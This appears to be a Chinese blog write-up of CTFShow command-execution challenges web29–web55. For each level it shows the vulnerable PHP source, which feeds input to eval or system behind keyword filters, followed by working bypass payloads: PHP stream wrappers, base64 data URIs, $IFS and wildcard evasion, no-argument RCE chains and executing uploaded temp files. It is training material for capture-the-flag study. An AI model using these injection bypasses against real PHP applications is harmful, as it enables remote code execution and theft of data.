CTFShow 命令执行
参考文章:
https://blog.csdn.net/solitudi/article/details/109837640
空格过滤绕过:
https://blog.csdn.net/qq_54727981/article/details/125936528
web29
c=system('cat f*');
web30
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
参数逃逸
c=eval($_GET[1]);&1=system('tac flag.php');
c=`cp fl* 2.txt`
官方题解:
echo `nl fl''ag.p''hp`;
根据官方题解延申:
echo `tac f*`;
不知道的知识:``没得回显,system有回显
web31
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
参数逃逸
c=eval($_GET[1]);&1=system('tac f*');
web32-36
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
文件包含,伪协议
?c=include$_GET[a]?>&a=data://text/plain,<?=system('tac flag.php');?>
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web37
这里其实是文件包含,利用伪协议
payload1:
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
payload2:
php://input
post提交:<?php system('cat flag.php');?>
web38
使用伪协议data
payload
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
web39
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
data://text/plain,<?php system('tac f*');?>
这次就不可以和上面一样使用base64加密了,推测原因是和后面的.php拼接导致解码失败
web40
1.php无参数RCE
https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#前言
2.ctfshow web40命令执行
https://blog.csdn.net/weixin_46250265/article/details/114266578
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这里过滤的括号是中文括号,而不是英文括号。
下划线,字母,英文括号没有被过滤。
payload(https://blog.csdn.net/miuzzx/article/details/108415301)
highlight_file(next(array_reverse(scandir(pos(localeconv())))));
相关函数的学习和使用
1.php localeconv() 查找美国本地的数字化格式信息
var_dump(localeconv());
得到结果如下,其中第一个结果是.
2.php pos()函数返回数组中当前元素的值,current函数的别名
相关的方法
var_dump(pos(localeconv()));
结果如下:
3.php scandir()函数返回指定目录中的文件和目录的数组。
c=var_dump(scandir(pos(localeconv())));
//c=var_dump(scandir(getcwd()));
结果如下:
4.getcwd()函数获取当前工作目录
c=var_dump(getcwd());
5.php array_reverse() 函数以相反的元素顺序返回数组。
c=var_dump(array_reverse(scandir(getcwd())));
6.php highlight_file() 函数对文件进行语法高亮显示。
web41
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date: 2020-09-05 20:31:22
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show
*/
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
字母数字全部被过滤完了,专门留了个或运算符。可以通过ascii码或运算生成指定字母。
抄袭大佬的脚本,跑就可以了
为什么rce_or.php脚本对于小于16的数字要在16进制前加0?
web 42
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
把标准输出重定向输出到黑洞,把错误输出绑定到标准输出。
1:标准输出 2:错误输出
payload
tac f*;ls
web43/ web44
过滤了;
但是可以使用&&,记得要用url编码一下
payload
tac f*%26%26ls
web45
额外再过滤了空格
payload
tac%09f*%26%26ls
web46/47/48/49
linux通配符讲解:https://zhuanlan.zhihu.com/p/96272363
过滤了*,不可以f*了,但是可以fla?.php
payload
tac%09fla?.php%26%26ls
cp%09fla?.php%09a.txt%26%26ls
web50
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤%,0x09,0x26,不可以使用&&来连接两个命令了,也不可以使用%09来绕过空格了。
官方题解:
nl<fla''g.php||
tac<fla''g.php||
tac<fla\g.php||
web51
过滤了tac
nl<fla''g.php||
ta\c<fla\g.php||
为什么这里不可以使用通配符?
web52
这次的flag不在当前目录(var/www/html)下的flag.txt。flag在根目录下面(/flag)。
过滤了<>,没有过滤$
nl$IFS/fla''g||
ls$IFS/||
cp$IFS/fla''g$IFS./a.txt||
web53
system()的返回值是返回结果的最后一行
nl${$IFS}fla''g.php
ca\t${IFS}fla\g.php
cp${IFS}fla\g.php${IFS}a.txt
就很不能理解,为什么之前直接使用$IFS
就可以了,偏偏这里就要${IFS}
了,气抖冷
web54
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
mv重命名
mv${IFS}fla?.php${IFS}a.txt
cp${IFS}fla?.php${IFS}a
cp${IFS}fla?.php${IFS}a
不知道为什么不可改成cp${IFS}fla?.php${IFS}a.txt
,发现cpa.t
也不可以
看了大佬的博客,发现可以这样
c=/bin/c??$IFS????????
c=/bin/c??${IFS}????????
试图理解:/bin/c??
的目的是通过通配符匹配到/bin/cat
,????????
对应的是flag.php
web55
参考:
https://blog.csdn.net/qq_46091464/article/details/108513145
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
太难了,我不能理解。直接抄。
linux .的作用,相当于source命令。
php对与上传的文件,由于不知道这个文件究竟是否会被使用,所以它会将其临时存在一个文件目录下,这个临时文件的存活期是这个程序运行期间(如果你不专门将其保存的话)。
这个临时文件的命名规则是:由php加6位字母组成,且最后一位是大写,所以我们可以这样匹配 /tmp/????????[@-[]
,由于这题过滤了全部字母,所以tmp也要换成???。大写字母在ascii码表的顺序是@AB...Z[,所以我们可以用[@-[]匹配大写字母。
到此为止,我们思路就可以确定了,先去上传写有命令的文件(post提交),接着在system($c)
那里利用.的特性执行上传的临时文件里的命令。
.20%???/?????[@-[]
发现上传文件内容还必须加上脚本头!#sh
,不加执行不了,但是在kail虚拟机模拟.的用法的时候就没这个幺蛾子。
本文作者:请去看诡秘之主
本文链接:https://www.cnblogs.com/xjy881/p/16756511.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步